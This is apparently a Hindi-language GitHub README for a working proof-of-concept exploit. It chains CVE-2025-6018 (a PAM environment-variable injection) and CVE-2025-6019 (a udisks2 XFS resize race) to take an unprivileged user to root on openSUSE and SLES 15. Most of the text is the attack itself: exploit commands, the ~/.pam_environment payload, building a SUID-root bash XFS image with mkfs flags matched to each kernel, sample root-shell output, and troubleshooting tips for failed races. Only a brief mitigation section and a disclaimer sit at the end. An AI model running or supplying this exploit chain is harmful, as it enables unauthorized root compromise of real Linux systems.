
CVE-2025-6018 CVE-2025-6019 PoC एक्सप्लॉइट - openSUSE/SUSE Linux Enterprise 15 में लोकल प्रिविलेज एस्केलेशन - PAM बाईपास + udisks2 XFS रेस कंडीशन LPE टू रूट
CVE-2025-6018 और CVE-2025-6019 के लिए कार्यशील PoC/एक्सप्लॉइट - openSUSE Leap 15.x और SUSE Linux Enterprise 15.x पर बिना विशेषाधिकार वाले उपयोगकर्ता से root तक विशेषाधिकार वृद्धि
| CVE ID | भेद्यता | प्रभाव |
|---|---|---|
| CVE-2025-6018 | PAM पर्यावरण चर इंजेक्शन | allow_active polkit स्थिति के लिए बाईपास |
| CVE-2025-6019 | udisks2/libblockdev XFS रिसाइज़ रेस कंडीशन | Root शेल |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ नोट: openSUSE Leap 15.6 30 अप्रैल 2026 को अपने जीवन-काल के अंत (End of Life) पर पहुँचता है। इस तिथि के बाद कोई सुरक्षा पैच जारी नहीं किया जाएगा। उपयोगकर्ताओं को Leap 16.0 या विस्तारित समर्थन वाले SLES पर माइग्रेट करना चाहिए।
user_readenv=1 के साथallow_active: yes के साथ./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
ATTACKER मशीन पर root के रूप में चलाएँ:
⚠️ आपको पीड़ित की
/usr/bin/bashबाइनरी का उपयोग करना ही होगा, अपनी स्थानीय बाइनरी का नहीं। किसी भिन्न डिस्ट्रो (Kali, Arch, Ubuntu, आदि) की bash बाइनरी glibc/साझा लाइब्रेरी ABI बेमेल के कारण टार्गेट पर विफल हो जाएगी — भले ही वही x86_64 आर्किटेक्चर हो।
स्क्रिप्ट आपके xfsprogs संस्करण का स्वतः पता लगाती है और सही फ़्लैग लागू करती है:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
XFS इमेज अनिवार्य रूप से टार्गेट के कर्नेल के साथ संगत फ़्लैग के साथ फ़ॉर्मेट की जानी चाहिए। xfsprogs के नए संस्करण डिफ़ॉल्ट रूप से ऐसी ऑन-डिस्क सुविधाएँ सक्षम करते हैं जिन्हें पुराने SUSE कर्नेल नहीं पढ़ सकते, जिससे udisks2 रिसाइज़ माउंट के दौरान wrong fs type, bad superblock त्रुटियाँ उत्पन्न होती हैं।
| टार्गेट | कर्नेल | mkfs.xfs कमांड |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
क्यों? exchange और parent कर्नेल 6.10+ सुविधाएँ हैं (xfsprogs 6.x में डिफ़ॉल्ट रूप से सक्षम)। bigtime, inobtcount, और nrext64 कर्नेल 5.10+ सुविधाएँ हैं। SP1-SP4 "compat" कमांड (-m crc=0,reflink=0) सभी आधुनिक सुविधाओं को अक्षम करके V4 XFS फ़ॉर्मेट बनाता है, जो हर SUSE 15 SP पर काम करता है।
भेद्यता: PAM का pam_env मॉड्यूल user_readenv=1 (SUSE पर डिफ़ॉल्ट) के साथ ~/.pam_environment को पढ़ता है, जिससे पर्यावरण चर इंजेक्शन संभव होता है।
एक्सप्लॉइट: systemd-logind को धोखा देकर allow_active polkit विशेषाधिकार दिलाने के लिए XDG_SEAT=seat0 और XDG_VTNR=1 सेट करें।
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
भेद्यता: udisks2 के माध्यम से XFS फाइलसिस्टम को रिसाइज़ करते समय, libblockdev फाइलसिस्टम को बिना nosuid फ़्लैग के अस्थायी रूप से माउंट करता है।
एक्सप्लॉइट:
./exploit.sh --check
आउटपुट:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
आउटपुट:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
आउटपुट:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ यदि इस रेपो ने आपकी मदद की तो इसे स्टार करें! ⭐
| समस्या | कारण | समाधान |
|---|
allow_active: NO | PAM बाईपास सक्रिय नहीं है | --setup चलाएँ, SSH से बाहर निकलें, पुनः कनेक्ट करें और su - $USER चलाएँ |
Image is not XFS | गलत फाइलसिस्टम फ़ॉर्मेट | mkfs.ext4 नहीं, mkfs.xfs उपयोग करें |
SUID not working | अनुमतियाँ सेट नहीं हैं | attacker मशीन पर -rwsr-xr-x अनुमतियाँ सत्यापित करें |
Race condition missed | टाइमिंग समस्या | एक्सप्लॉइट फिर से चलाएँ (आमतौर पर 1-3 प्रयासों में काम करता है) |
SUID बाइनरी सेगफॉल्ट या GLIBC_x.xx not found | गलत डिस्ट्रो की bash बाइनरी (glibc/ABI बेमेल) | अपनी स्थानीय bash नहीं, scp के माध्यम से पीड़ित की /usr/bin/bash बाइनरी उपयोग करें |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | XFS इमेज ऐसी सुविधाओं के साथ फ़ॉर्मेट की गई है जिन्हें टार्गेट कर्नेल नहीं पढ़ सकता (xfsprogs संस्करण बेमेल) | SP5/SP6 के लिए mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img के साथ इमेज बनाएँ, या SP1-SP4 के लिए mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
XFSRace ConditionSecurityVulnerabilityPentest